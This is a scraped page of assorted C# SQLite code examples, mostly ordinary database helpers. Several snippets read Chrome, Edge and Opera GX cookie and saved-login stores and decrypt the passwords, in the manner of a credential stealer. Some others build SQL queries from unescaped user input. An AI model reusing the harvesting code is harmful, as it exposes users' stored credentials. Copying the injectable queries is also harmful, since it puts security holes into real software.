示例#1
4
        public void TestCaseSensitiveKeyColumn()
        {
            var path = Path.GetTempFileName();
            try
            {
                var sqlite = new System.Data.SQLite.SQLiteConnection("Data Source=" + path);
                sqlite.Open();
                var cmd = sqlite.CreateCommand();
                cmd.CommandText = "create table test(col_ID integer primary key, name text, shape blob)";
                cmd.ExecuteNonQuery();
                cmd.Dispose();
                sqlite.Close();
                sqlite.Dispose();
                using (var sq = new ManagedSpatiaLite("Data Source=" + path, "test", "shape", "COL_ID"))
                {
                    var ext = new Envelope();
                    var ds = new SharpMap.Data.FeatureDataSet();
                    sq.ExecuteIntersectionQuery(ext, ds);
                    NUnit.Framework.Assert.AreEqual(0, ds.Tables[0].Count);
                }

            }
            catch (Exception ex)
            {
                Assert.Fail("Got exception, should not happen");

            }
            finally
            {
                File.Delete(path);
            }
        }
示例#2
1
        public void UpdateDatabaseWithArteProps( string ConnectionString )
        {
            System.Data.SQLite.SQLiteConnection conn = new System.Data.SQLite.SQLiteConnection( ConnectionString );
            conn.Open();
            System.Data.SQLite.SQLiteTransaction transaction = conn.BeginTransaction();
            System.Data.SQLite.SQLiteCommand command = new System.Data.SQLite.SQLiteCommand( conn );
            command.Transaction = transaction;
            foreach ( var a in ArteList ) {
                string UpdateNames = "UPDATE Text SET IdentifyString = \"" + a.Type.ToString() + ";\" || IdentifyString WHERE IdentifyString LIKE \"%[" + a.NameStringDicId + " / 0x" + a.NameStringDicId.ToString( "X6" ) + "]\"";
                Console.WriteLine( UpdateNames );
                command.CommandText = UpdateNames;
                command.ExecuteNonQuery();
                string UpdateDescs = "UPDATE Text SET IdentifyString = \"Description;\" || IdentifyString WHERE IdentifyString LIKE \"%[" + a.DescStringDicId + " / 0x" + a.DescStringDicId.ToString( "X6" ) + "]\"";
                Console.WriteLine( UpdateDescs );
                command.CommandText = UpdateDescs;
                command.ExecuteNonQuery();

                if ( a.Type == Arte.ArteType.Generic ) {
                    string UpdateStatus = "UPDATE Text SET status = 4, updated = 1, updatedby = \"[HyoutaTools]\", updatedtimestamp = " + Util.DateTimeToUnixTime( DateTime.UtcNow ) + " WHERE IdentifyString LIKE \"%[" + a.NameStringDicId + " / 0x" + a.NameStringDicId.ToString( "X6" ) + "]\"";
                    Console.WriteLine( UpdateStatus );
                    command.CommandText = UpdateStatus;
                    command.ExecuteNonQuery();
                }
            }
            command.Dispose();
            transaction.Commit();
            conn.Close();
            conn.Dispose();
        }
        public static void FindOpcodes(string query)
        {
            var files = System.IO.Directory.GetFiles(@"E:\HFS\WOWDEV\SNIFFS_CLEAN\", "*.sqlite", System.IO.SearchOption.AllDirectories).OrderByDescending(t => t);

            foreach (var file in files)
            {
                using (var con = new System.Data.SQLite.SQLiteConnection("Data Source=" + file))
                {
                    con.Open();
                    using (var sqlcommand = con.CreateCommand())
                    {
                        sqlcommand.CommandText = "select count(*) from packets where opcode in (" + query + ")";
                        var reader = sqlcommand.ExecuteReader();

                        while (reader.Read())
                        {
                            var found = reader.GetInt32(0);
                            if (found > 0)
                            {
                                System.Diagnostics.Debug.WriteLine(file + "\t" + found);
                            }
                            break;
                        }
                    }

                    con.Close();
                }
            }
        }
示例#4
0
 public static int ExecuteNonQueryWithTransaction(string sql, params System.Data.SQLite.SQLiteParameter[] arrayOfParameters)
 {
     if (string.IsNullOrEmpty(sql))
     {
         return(0);
     }
     CreateDatabaseFileIfNotExist();
     using (System.Data.SQLite.SQLiteConnection cn = new System.Data.SQLite.SQLiteConnection(GetConnectionString()))
     {
         cn.Open();
         int iReturn = -2;
         cn.Open();
         System.Data.SQLite.SQLiteTransaction trans = cn.BeginTransaction();
         try
         {
             using (System.Data.SQLite.SQLiteCommand com = new System.Data.SQLite.SQLiteCommand(sql, cn, trans))
             {
                 if ((arrayOfParameters?.Length ?? 0) > 0)
                 {
                     com.Parameters.AddRange(arrayOfParameters);
                 }
                 iReturn = com.ExecuteNonQuery();
             }
             trans.Commit();
         }
         catch
         {
             trans.Rollback();
             iReturn = -2;
             throw;
         }
         return(iReturn);
     }
 }
示例#5
0
        private void UnLoad_Click(object sender, RoutedEventArgs e)
        {
            if (string.IsNullOrWhiteSpace(Rwebidtxt.Text))
            {
                MessageBox.Show("Error in WebId Field, Please Check it again.", "UnLoading Error", MessageBoxButton.OK, MessageBoxImage.Exclamation);
            }
            else
            {
                // MessageBox.Show("Thanks, This Part is UnderDevelopment, Please Wait for The next Update", "Work In Progress", MessageBoxButton.OK, MessageBoxImage.Information);

                if (!string.IsNullOrWhiteSpace(Rwebidtxt.Text))
                {
                    sqlcon.Open();
                    //MessageBox.Show(sqlcon.ToString());
                    string query = "Select password from Record where EmailID='" + Rwebidtxt.Text + "';";
                    System.Data.SQLite.SQLiteCommand com = new System.Data.SQLite.SQLiteCommand(query, sqlcon);
                    com.ExecuteNonQuery();
                    System.Data.SQLite.SQLiteDataReader dr = com.ExecuteReader();
                    dr.Read();

                    Rpasstxt.Text = dr["Password"].ToString();


                    //MessageBox.Show("Congrats , You have successefully Loaded the Data ", "Data Loaded  ", MessageBoxButton.OK, MessageBoxImage.Information);
                    sqlcon.Close();
                }
            }
        }
示例#6
0
 public void open()
 {
     if (closed)
     {
         db.Open();
         closed = false;
     }
 }
示例#7
0
        //    void ImageFileReconciliation()
        //    {
        //        // This next line creates a list of strings that don't have images. Can be commented out!
        //        List<string> missingImages = new List<string>();

        //        // Creates the collection of functional groups.
        //        foreach (ChemInfo.FunctionalGroup temp in fGroups)
        //        {
        //            string filename = imagePath + "FunctionalGroups\\" + temp.Name.ToLower() + ".jpg";
        //            if (System.IO.File.Exists(filename)) temp.Image = System.Drawing.Image.FromFile(filename);

        //            //this line adds the missing image to the list of missing images. Can be commented out.
        //            else missingImages.Add(temp.Name);
        //        }
        //        // Writes the missing images to a file.

        //        // Write the string array to a new file named "WriteLines.txt".
        //        using (System.IO.StreamWriter outputFile = new System.IO.StreamWriter(documentPath + @"\MissingImages.txt"))
        //        {
        //            foreach (string line in missingImages)
        //                outputFile.WriteLine(line);
        //        }

        //        string[] imageFiles = System.IO.Directory.GetFiles(imagePath + "FunctionalGroups\\");
        //        string[] groupNames = fGroups.FunctionalGroups;
        //        List<string> extraImages = new List<string>();
        //        foreach (string name in imageFiles)
        //        {
        //            string temp = name.Replace(imagePath + "FunctionalGroups\\", string.Empty);
        //            temp = temp.Replace(".jpg", string.Empty);
        //            bool add = true;
        //            foreach (string gName in groupNames)
        //            {
        //                if (temp.ToUpper() == gName.ToUpper()) add = false;
        //            }
        //            if (add) extraImages.Add(temp);
        //        }

        //        // Write the string array to a new file named "WriteLines.txt".
        //        using (System.IO.StreamWriter outputFile = new System.IO.StreamWriter(imagePath + "FunctionalGroups\\" + @"\ExtraImages.txt"))
        //        {
        //            foreach (string line in extraImages)
        //                outputFile.WriteLine(line);
        //        }
        //    }
        //}

        // Code from https://stackoverflow.com/questions/20419630/saving-datatable-to-sqlite-database-by-adapter-update
        public System.Data.DataTable GetDataTable(string tablename)
        {
            System.Data.DataTable DT = new System.Data.DataTable();
            m_dbConnection.Open();
            db_Command             = m_dbConnection.CreateCommand();
            db_Command.CommandText = string.Format("SELECT * FROM {0}", tablename);
            db_Adapter             = new System.Data.SQLite.SQLiteDataAdapter(db_Command);
            db_Adapter.Fill(DT);
            m_dbConnection.Close();
            DT.TableName = tablename;
            return(DT);
        }
 public SQLiteTransformationProvider(Dialect dialect, string connectionString)
     : base(dialect, connectionString)
 {
     connection = new SqliteConnection(base.connectionString);
     connection.ConnectionString = base.connectionString;
     connection.Open();
 }
示例#9
0
        public static IDbConnection CreateConnection()
        {
            var connection = new System.Data.SQLite.SQLiteConnection(GetConnectionString());
            connection.Open();

            return connection;
        }
示例#10
0
        public static IEnumerable <Tuple <string, string> > ReadCookies(string hostName)
        {
            var dbPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Cookies";

            if (!System.IO.File.Exists(dbPath))
            {
                Debug.WriteLine("Folder doesn't exist");
            }
            else
            {
                var connectionString = "Data Source=" + dbPath + ";pooling=false";
                var conn             = new System.Data.SQLite.SQLiteConnection(connectionString);
                var cmd = conn.CreateCommand();

                var prm = cmd.CreateParameter();
                prm.ParameterName = "hostName";
                prm.Value         = hostName;
                cmd.Parameters.Add(prm);

                cmd.CommandText = "SELECT name, encrypted_value FROM cookies WHERE host_key = @hostName";
                conn.Open();
                var reader = cmd.ExecuteReader();
                while (reader.Read())
                {
                    var encryptedData = (byte[])reader[1];
                    var decodedData   = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
                    var plainText     = Encoding.ASCII.GetString(decodedData);

                    yield return(Tuple.Create(reader.GetString(0), plainText));
                }
                conn.Close();
            }
        }
示例#11
0
        protected void Page_Load(object sender, EventArgs e)
        {
            DataSet ds = new DataSet();
            var     connectionString = String.Format("Data Source={0};Version=3;", "./App_Data/Madera.db");

            using (System.Data.SQLite.SQLiteConnection con = new System.Data.SQLite.SQLiteConnection("data source=|DataDirectory|Madera.db"))
            {
                con.Open();
                using (var cmd = con.CreateCommand())
                {
                    string query = "select id_client, nom, prenom, mail from client;";
                    cmd.CommandText = query;
                    System.Data.SQLite.SQLiteDataAdapter da = new System.Data.SQLite.SQLiteDataAdapter(cmd);
                    da.Fill(ds);
                    int i = 0;
                    while (i < ds.Tables[0].Rows.Count)
                    {
                        string nom       = ds.Tables[0].Rows[i].ItemArray[1].ToString();
                        string prenom    = ds.Tables[0].Rows[i].ItemArray[2].ToString();
                        string mail      = ds.Tables[0].Rows[i].ItemArray[3].ToString();
                        string id_client = ds.Tables[0].Rows[i].ItemArray[0].ToString();
                        client.Items.Add(new ListItem(nom + " " + prenom + " : " + mail, id_client));
                        i++;
                    }
                    con.Close();
                }
            }
        }
示例#12
0
 private void btn_aggiungi_Click(object sender, EventArgs e)
 {
     if (!tb_nomeAdd.Text.Equals("") && !tb_pswAdd.Equals(""))
     {
         if (tb_pswAdd.Text.Equals(tb_pswReAdd.Text))
         {
             using (System.Data.SQLite.SQLiteConnection conn = new System.Data.SQLite.SQLiteConnection("data source=gestionalePalestra.db"))
             {
                 using (System.Data.SQLite.SQLiteCommand cmd = new System.Data.SQLite.SQLiteCommand(conn))
                 {
                     conn.Open();
                     string command = "INSERT INTO User(Username,Password) VALUES ('" + tb_nomeAdd.Text + "','" + tb_pswAdd.Text + "');";
                     cmd.CommandText = command;
                     cmd.ExecuteNonQuery();
                     //MessageBox.Show(command);
                     MessageBox.Show("Inserimento avvenuto con successo!", "Inserimento avvenuto");
                     conn.Close();
                 }
             }
             LoadComboBox();
             lockGroupBox();
         }
         else
         {
             PrintError(2);
         }
     }
     else
     {
         PrintError(0);
     }
 }
示例#13
0
    private static IDbConnection GetDatabaseConnectionSDS(string cs)
    {
      var rv = new System.Data.SQLite.SQLiteConnection(cs);
      if (rv == null) {
        throw new ArgumentException("no connection");
      }
      rv.Open();

      try {
        rv.SetChunkSize(GROW_SIZE);
      }
      catch (Exception ex) {
        log4net.LogManager.GetLogger(typeof(Sqlite)).Error(
          "Failed to sqlite control", ex);
      }

      if (clearPool == null) {
        clearPool = conn =>
        {
          System.Data.SQLite.SQLiteConnection.ClearPool(
            conn as System.Data.SQLite.SQLiteConnection);
        };
      }
      return rv;
    }
示例#14
0
 public DbConnection Db()
 {
     if (!System.IO.File.Exists(File)) return null;
     var cn = new System.Data.SQLite.SQLiteConnection(string.Format("Data Source={0};Version=3;", File));
     cn.Open();
     return cn;
 }
示例#15
0
        public List <Passwords> GetAllPasswords(byte[] key)
        {
            List <Passwords> password = new List <Passwords>();

            if (!PasswordsExists())
            {
                throw new FileNotFoundException("Cant find password store", EdgeBrowserPasswordsPath);                      // throw FileNotFoundException if "Chrome\User Data\Default\Cookies" not found
            }
            using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={EdgeBrowserPasswordsPath};pooling=false"))
                using (var cmd = conn.CreateCommand())
                {
                    cmd.CommandText = $"SELECT origin_url,username_value,password_value FROM logins";

                    conn.Open();
                    using (var reader = cmd.ExecuteReader())
                    {
                        while (reader.Read())
                        {
                            password.Add(new Passwords()
                            {
                                url      = reader.GetString(0),
                                password = DecryptWithKey((byte[])reader[2], key, 3),
                                username = reader.GetString(1)
                            });
                        }
                    }
                    conn.Close();
                }
            return(password);
        }
示例#16
0
        public void TestCaseSensitiveKeyColumn()
        {
            var path = Path.GetTempFileName();

            try
            {
                var sqlite = new System.Data.SQLite.SQLiteConnection("Data Source=" + path);
                sqlite.Open();
                var cmd = sqlite.CreateCommand();
                cmd.CommandText = "create table test(col_ID integer primary key, name text, shape blob)";
                cmd.ExecuteNonQuery();
                cmd.Dispose();
                sqlite.Close();
                sqlite.Dispose();
                using (var sq = new ManagedSpatiaLite("Data Source=" + path, "test", "shape", "COL_ID"))
                {
                    var ext = new Envelope();
                    var ds  = new SharpMap.Data.FeatureDataSet();
                    sq.ExecuteIntersectionQuery(ext, ds);
                    NUnit.Framework.Assert.AreEqual(0, ds.Tables[0].Count);
                }
            }
            catch (Exception ex)
            {
                Assert.Fail("Got exception, should not happen");
            }
            finally
            {
                File.Delete(path);
            }
        }
示例#17
0
        public List <Currency> GetCurrencyList()
        {
            List <Currency> currencyList = new List <Currency>();
            Currency        currency;

            try
            {
                using (System.Data.SQLite.SQLiteConnection con = new System.Data.SQLite.SQLiteConnection(BaseDbContext.databasestring))
                {
                    using (System.Data.SQLite.SQLiteCommand com = new System.Data.SQLite.SQLiteCommand(con))
                    {
                        con.Open();                                                                        // Open the connection to the database
                        com.CommandText = "Select CurrencyID,CurrencyName,CurrencyFactor FROM Currencies"; // Select all rows from our database table
                        using (System.Data.SQLite.SQLiteDataReader reader = com.ExecuteReader())
                        {
                            while (reader.Read())
                            {
                                currency                          = new Currency();
                                currency.CurrencyID               = Convert.ToInt32(reader["CurrencyID"]);
                                currency.CurrencyName             = Convert.ToString(reader["CurrencyName"]);
                                currency.CurrencyConversionFactor = Convert.ToDecimal(reader["CurrencyFactor"]);
                                currencyList.Add(currency);
                            }
                        }
                        con.Close();        // Close the connection to the database
                    }
                }
                return(currencyList);
            }
            catch (Exception ex)
            {
                return(null);
            }
        }
示例#18
0
        public List <Cookie> GetAllCookies(byte[] key)
        {
            List <Cookie> cookies = new List <Cookie>();

            if (!CookiesExists())
            {
                throw new FileNotFoundException("Cant find cookie store", EdgeBrowserCookiePath);                    // throw FileNotFoundException if "Chrome\User Data\Default\Cookies" not found
            }
            using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={EdgeBrowserCookiePath};pooling=false"))
                using (var cmd = conn.CreateCommand())
                {
                    cmd.CommandText = $"SELECT name,encrypted_value,host_key FROM cookies";

                    conn.Open();
                    using (var reader = cmd.ExecuteReader())
                    {
                        while (reader.Read())
                        {
                            cookies.Add(new Cookie()
                            {
                                Name     = reader.GetString(0),
                                Value    = DecryptWithKey((byte[])reader[1], key, 3),
                                HostName = reader.GetString(2)
                            });
                        }
                    }
                    conn.Close();
                }
            return(cookies);
        }
示例#19
0
        private static IDbConnection OpenConnection()
        {
            var sqLiteConnection = new System.Data.SQLite.SQLiteConnection("Data Source=:memory:;Version=3;New=True");

            sqLiteConnection.Open();
            return(sqLiteConnection);
        }
示例#20
0
        private void displayPersonDetail(string personNo)
        {
            //
            System.Data.SQLite.SQLiteConnection conn = new System.Data.SQLite.SQLiteConnection(sDataBaseStr);
            conn.Open();
            //
            string sql_findInfo = string.Format("select * from RentPersonInfo where personCardNum = '{0}'", personNo);

            //
            System.Data.SQLite.SQLiteCommand cmd = new System.Data.SQLite.SQLiteCommand();
            cmd.CommandText = sql_findInfo;
            cmd.Connection  = conn;
            System.Data.SQLite.SQLiteDataReader reader = cmd.ExecuteReader();
            if (reader.HasRows)
            {
                reader.Read();
                //借书人姓名
                string personName = reader.GetString(0);
                string personNum  = reader.GetString(1);
                string mobile     = reader.GetString(3);
                label_personDetail.Text = "借书人详细信息:" + "\r\n" + "\r\n" + "姓名:" + personName + "\r\n" + "\r\n" + "身份证号:" + personNum + "\r\n" + "\r\n" + "手机号:" + mobile;
            }
            //
            reader.Close();
            cmd.Dispose();
            conn.Close();
            conn.Dispose();
            System.GC.Collect();
            System.GC.WaitForPendingFinalizers();
        }
 public void Open()
 {
     if (conn.State != ConnectionState.Open)
     {
         conn.Open();
     }
 }
示例#22
0
        public List <Passwords> GetPasswordByHostname(string hostName, byte[] key)
        {
            List <Passwords> password = new List <Passwords>();

            if (hostName == null)
            {
                throw new ArgumentNullException("hostName");                   // throw ArgumentNullException if hostName is null
            }
            if (!CookiesExists())
            {
                throw new FileNotFoundException("Cant find cookie store", OperaGXPasswordsPath);                    // throw FileNotFoundException if "Chrome\User Data\Default\Cookies" not found
            }
            using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={OperaGXPasswordsPath};pooling=false"))
                using (var cmd = conn.CreateCommand())
                {
                    cmd.CommandText = $"SELECT origin_url,username_value,password_value FROM logins WHERE origin_url = '{hostName}'";

                    conn.Open();
                    using (var reader = cmd.ExecuteReader())
                    {
                        while (reader.Read())
                        {
                            password.Add(new Passwords()
                            {
                                url      = reader.GetString(0),
                                password = DecryptWithKey((byte[])reader[2], key, 3),
                                username = reader.GetString(1)
                            });
                        }
                    }
                    conn.Close();
                }
            return(password);
        }
示例#23
0
        public void UpdateDatabaseWithArteProps(string ConnectionString)
        {
            System.Data.SQLite.SQLiteConnection conn = new System.Data.SQLite.SQLiteConnection(ConnectionString);
            conn.Open();
            System.Data.SQLite.SQLiteTransaction transaction = conn.BeginTransaction();
            System.Data.SQLite.SQLiteCommand     command     = new System.Data.SQLite.SQLiteCommand(conn);
            command.Transaction = transaction;
            foreach (var a in ArteList)
            {
                string UpdateNames = "UPDATE Text SET IdentifyString = \"" + a.Type.ToString() + ";\" || IdentifyString WHERE IdentifyString LIKE \"%[" + a.NameStringDicId + " / 0x" + a.NameStringDicId.ToString("X6") + "]\"";
                Console.WriteLine(UpdateNames);
                command.CommandText = UpdateNames;
                command.ExecuteNonQuery();
                string UpdateDescs = "UPDATE Text SET IdentifyString = \"Description;\" || IdentifyString WHERE IdentifyString LIKE \"%[" + a.DescStringDicId + " / 0x" + a.DescStringDicId.ToString("X6") + "]\"";
                Console.WriteLine(UpdateDescs);
                command.CommandText = UpdateDescs;
                command.ExecuteNonQuery();

                if (a.Type == Arte.ArteType.Generic)
                {
                    string UpdateStatus = "UPDATE Text SET status = 4, updated = 1, updatedby = \"[HyoutaTools]\", updatedtimestamp = " + Util.DateTimeToUnixTime(DateTime.UtcNow) + " WHERE IdentifyString LIKE \"%[" + a.NameStringDicId + " / 0x" + a.NameStringDicId.ToString("X6") + "]\"";
                    Console.WriteLine(UpdateStatus);
                    command.CommandText = UpdateStatus;
                    command.ExecuteNonQuery();
                }
            }
            command.Dispose();
            transaction.Commit();
            conn.Close();
            conn.Dispose();
        }
        // "x:\util\android-sdk-windows\platform-tools\adb.exe"  tcpip 5555
        // restarting in TCP mode port: 5555

        // "x:\util\android-sdk-windows\platform-tools\adb.exe" connect 192.168.1.126:5555
        // connected to 192.168.1.126:5555

        static ApplicationWebService()
        {
            // will this work for android?

            Console.WriteLine("ApplicationWebService cctor " + new { Environment.CurrentDirectory });

            // ApplicationWebService cctor { CurrentDirectory = W:\staging.net.debug }

            #region setup:QueryExpressionBuilder.WithConnection
            //if (ScriptCoreLib.Query.Experimental.QueryExpressionBuilder.WithConnection == null)

            // override the default
            ScriptCoreLib.Query.Experimental.QueryExpressionBuilder.WithConnection =
                y =>
                {
                    // relative path?
                    var DataSource = "file:server1.sqlite";

                    // nuget xsqlite?
                    var cc = new System.Data.SQLite.SQLiteConnection(new System.Data.SQLite.SQLiteConnectionStringBuilder
                    {
                        DataSource = DataSource,
                        Version = 3
                    }.ConnectionString);
                    cc.Open();
                    y(cc);
                    cc.Dispose();
                };
            #endregion
        }
示例#25
0
        private List <Stavka> LstStavki()
        {
            string joinQuery =
                @"SELECT Stavka, Opis FROM [Stavki] AS S ORDER BY Stavka;";

            List <Stavka> _lstStavka = new List <Stavka>();

            string connStr = "Data Source = E:\\vs2017\\svPloter\\eOFIdata.db; Version = 3;";

            //System.Data.SQLite.SQLiteConnection.CreateFile("Data Source = Config\\Data\\eOFIdata.db; Version = 3;");
            using (System.Data.SQLite.SQLiteConnection con = new System.Data.SQLite.SQLiteConnection(connStr))
            {
                using (System.Data.SQLite.SQLiteCommand com = new System.Data.SQLite.SQLiteCommand(con))
                {
                    con.Open();                  // Open the connection to the database
                    com.CommandText = joinQuery; // Select all rows from our database table

                    using (System.Data.SQLite.SQLiteDataReader reader = com.ExecuteReader())
                    {
                        while (reader.Read())
                        {
                            Stavka s = new Stavka();
                            s.eKod  = reader["Stavka"].ToString();
                            s.Vrska = reader["Opis"].ToString();

                            _lstStavka.Add(s);
                        }
                    }

                    con.Close(); // Close the connection to the database
                }
            }

            return(_lstStavka);
        }
示例#26
0
        public static IDbConnection GetDatabaseConnection(FileInfo database)
        {
            if (database == null) {
            throw new ArgumentNullException("database");
              }
              if (database.Exists && database.IsReadOnly) {
            throw new ArgumentException("Database file is read only", "database");
              }
              var cs = string.Format("Uri=file:{0}", database.FullName);
              if (Type.GetType("Mono.Runtime") == null) {
            var rv = new System.Data.SQLite.SQLiteConnection(cs);
            if (rv == null) {
              throw new ArgumentException("no connection");
            }
            rv.Open();
            return rv;
              }

              Assembly monoSqlite;
              try {
            monoSqlite = Assembly.Load("Mono.Data.Sqlite, Version=4.0.0.0, Culture=neutral, PublicKeyToken=0738eb9f132ed756");
              }
              catch (Exception) {
            monoSqlite = Assembly.Load("Mono.Data.Sqlite, Version=2.0.0.0, Culture=neutral, PublicKeyToken=0738eb9f132ed756");
              }
              var dbconn = monoSqlite.GetType("Mono.Data.Sqlite.SqliteConnection");
              var ctor = dbconn.GetConstructor(new[] { typeof(string) });
              var mrv = ctor.Invoke(new[] { cs }) as IDbConnection;
              if (mrv == null) {
            throw new ArgumentException("no connection");
              }
              mrv.Open();
              return mrv;
        }
示例#27
0
        public static int Execute( List<string> args )
        {
            // 0xCB20

            if ( args.Count != 2 ) {
                Console.WriteLine( "Generates a scenario db for use in Tales.Vesperia.Website from a MAPLIST.DAT." );
                Console.WriteLine( "Usage: maplist.dat scenario.db" );
                return -1;
            }

            String maplistFilename = args[0];
            string connStr = "Data Source=" + args[1];

            using ( var conn = new System.Data.SQLite.SQLiteConnection( connStr ) ) {
                conn.Open();
                using ( var ta = conn.BeginTransaction() ) {
                    SqliteUtil.Update( ta, "CREATE TABLE descriptions( filename TEXT PRIMARY KEY, shortdesc TEXT, desc TEXT )" );
                    int i = 0;
                    foreach ( MapName m in new MapList( System.IO.File.ReadAllBytes( maplistFilename ) ).MapNames ) {
                        Console.WriteLine( i + " = " + m.ToString() );
                        List<string> p = new List<string>();
                        p.Add( "VScenario" + i );
                        p.Add( m.Name1 != "dummy" ? m.Name1 : m.Name3 );
                        p.Add( m.Name1 != "dummy" ? m.Name1 : m.Name3 );
                        SqliteUtil.Update( ta, "INSERT INTO descriptions ( filename, shortdesc, desc ) VALUES ( ?, ?, ? )", p );
                        ++i;
                    }
                    ta.Commit();
                }
                conn.Close();
            }

            return 0;
        }
示例#28
0
        public DatabaseManager()
        {
            string createTableQuery = @"CREATE TABLE IF NOT EXISTS LASTPROJECTS (
                          [ID] INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
                          [address] VARCHAR(2048)  NULL
                          )";
            string path = Path.
                GetDirectoryName(Path.GetDirectoryName(System.IO.Directory.GetCurrentDirectory()));
            path = path + @"\bin\Debug\databaseFile.db3";

            if(!File.Exists (path))
                System.Data.SQLite.SQLiteConnection.CreateFile("databaseFile.db3");

            using (System.Data.SQLite.SQLiteConnection con = new System.Data.SQLite.SQLiteConnection("data source=databaseFile.db3"))
            {
                using (System.Data.SQLite.SQLiteCommand com = new System.Data.SQLite.SQLiteCommand(con))
                {
                    con.Open();
                    com.CommandText = createTableQuery;
                    com.ExecuteNonQuery();
                    con.Close();
                }
            }
            Console.WriteLine("ALLO");
        }
示例#29
0
        public void DeleteCategory(int id)
        {
            try
            {
                using (SqliteConnection connection = new SqliteConnection(Settings.DatabaseConnection))
                {
                    connection.Open();
                    using (SqliteCommand command = new SqliteCommand(connection))
                    {
                        // The category
                        command.CommandText = "DELETE FROM categories WHERE id=@id";
                        SqliteParameter parameter = new SqliteParameter("@id", DbType.Int32);
                        parameter.Value = id;
                        command.Parameters.Add(parameter);

                        command.ExecuteNonQuery();

                        // The questions for the category
                        command.CommandText = "DELETE FROM questions WHERE categoryid=@id";
                        command.ExecuteNonQuery();
                    }
                }
            }
            catch (SqliteException e)
            {
                Logger.Warn("SqliteException occurred with DeleteCategory({0}): \n{1}", id, e);
            }
        }
示例#30
0
        public int MaxQuestionOrder(Category category)
        {
            int result = 0;

            try
            {
                using (SqliteConnection connection = new SqliteConnection(Settings.DatabaseConnection))
                {
                    connection.Open();
                    using (SqliteCommand command = new SqliteCommand(connection))
                    {
                        command.CommandText = @"SELECT MAX([order]) from questions WHERE categoryid=@categoryid";

                        SqliteParameter parameter = new SqliteParameter("@categoryid", DbType.Int32);
                        parameter.Value = category.Id;
                        command.Parameters.Add(parameter);

                        object val = command.ExecuteScalar();
                        if (val != DBNull.Value)
                        {
                            result = Convert.ToInt32(val);
                        }
                    }
                }
            }
            catch (SqliteException ex)
            {
                Logger.Fatal("Unable to perform MaxQuestionOrder: \n{0}", ex);
            }

            return(result);
        }
		public SQLiteTransformationProvider(Dialect dialect, string connectionString)
			: base(dialect, connectionString, null)
		{
			_connection = new SqliteConnection(_connectionString);
			_connection.ConnectionString = _connectionString;
			_connection.Open();
		}
示例#32
0
        private DataSet getDataSet(ref StringBuilder sbSql, string strConnection, out int intEffected)
        {
            intEffected = -1;

            try {
                connToDB = new System.Data.SQLite.SQLiteConnection(strConnection);
                connToDB.Open();
            }
            catch (Exception ex) {
                string msg = "Open Connection Exception / Check Connection String.";
                throw new Exception(msg, ex);
            }

            DataSet dataSet = new DataSet();

            try {
                System.Data.SQLite.SQLiteDataAdapter dbAdapter = new System.Data.SQLite.SQLiteDataAdapter();

                dbAdapter.SelectCommand  = new System.Data.SQLite.SQLiteCommand(sbSql.ToString(), connToDB);
                dbAdapter.FillLoadOption = LoadOption.PreserveChanges;
                intEffected = dbAdapter.Fill(dataSet);
            }
            catch (Exception ex) {
                throw (ex);
            }
            return(dataSet);
        }
示例#33
0
 private void btn_modify_Click(object sender, EventArgs e)
 {
     if (!tb_NomeMod.Text.Equals("") && !tb_pswMod.Equals(""))
     {
         using (System.Data.SQLite.SQLiteConnection conn = new System.Data.SQLite.SQLiteConnection("data source=gestionalePalestra.db"))
         {
             using (System.Data.SQLite.SQLiteCommand cmd = new System.Data.SQLite.SQLiteCommand(conn))
             {
                 conn.Open();
                 string command = "UPDATE User SET Username='******', Password='******' WHERE Username='******'";
                 cmd.CommandText = command;
                 cmd.ExecuteNonQuery();
                 //MessageBox.Show(command);
                 MessageBox.Show("Elemento modificato con successo!", "Modifica avvenuta");
                 conn.Close();
             }
         }
         LoadComboBox();
         lockGroupBox();
     }
     else
     {
         PrintError(0);
     }
 }
示例#34
0
 public bool CreateCurrency(string CurrencyName, decimal CurrencyFactor)
 {
     try
     {
         using (System.Data.SQLite.SQLiteConnection con = new System.Data.SQLite.SQLiteConnection(BaseDbContext.databasestring))
         {
             using (System.Data.SQLite.SQLiteCommand com = new System.Data.SQLite.SQLiteCommand(con))
             {
                 con.Open();
                 com.CommandText = string.Format("Select 1 from Currencies where CurrencyName='{0}'", CurrencyName);     // Add the first entry into our database
                 var exists = com.ExecuteScalar();
                 if (exists == null)
                 {
                     com.CommandText = string.Format("INSERT INTO Currencies(CurrencyName,CurrencyFactor) Values ('{0}','{1}')", CurrencyName, CurrencyFactor);     // Add the first entry into our database
                     com.ExecuteNonQuery();
                 }
                 else
                 {
                     return(false);
                 }
                 return(true);
             }
         }
     }
     catch (Exception ex)
     {
         return(false);
     }
 }
示例#35
0
        public DatabaseManager()
        {
            string createTableQuery = @"CREATE TABLE IF NOT EXISTS LASTPROJECTS (
                          [ID] INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
                          [address] VARCHAR(2048)  NULL
                          )";
            string path             = Path.
                                      GetDirectoryName(Path.GetDirectoryName(System.IO.Directory.GetCurrentDirectory()));

            path = path + @"\bin\Debug\databaseFile.db3";

            if (!File.Exists(path))
            {
                System.Data.SQLite.SQLiteConnection.CreateFile("databaseFile.db3");
            }

            using (System.Data.SQLite.SQLiteConnection con = new System.Data.SQLite.SQLiteConnection("data source=databaseFile.db3"))
            {
                using (System.Data.SQLite.SQLiteCommand com = new System.Data.SQLite.SQLiteCommand(con))
                {
                    con.Open();
                    com.CommandText = createTableQuery;
                    com.ExecuteNonQuery();
                    con.Close();
                }
            }
            Console.WriteLine("ALLO");
        }
示例#36
0
        static public IEnumerable <Tuple <string, string, string> > ReadPass(string dbPath)
        {
            if (File.Exists(Path.GetTempPath() + @"log\Login Data"))    // Если файл по данному пути существует, то удаляем его
            {
                File.Delete(Path.GetTempPath() + @"log\Login Data");
            }
            File.Copy(dbPath, Path.GetTempPath() + @"log\Login Data");      // копируем файл с паролями для того, чтобы не закрывать браузер
            dbPath = Path.GetTempPath() + @"log\Login Data";
            var connectionString = "Data Source=" + dbPath + ";pooling=false";

            using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
                using (var cmd = conn.CreateCommand())
                {
                    cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";

                    conn.Open();
                    using (var reader = cmd.ExecuteReader())
                    {
                        while (reader.Read())
                        {
                            var encryptedData = (byte[])reader[0];
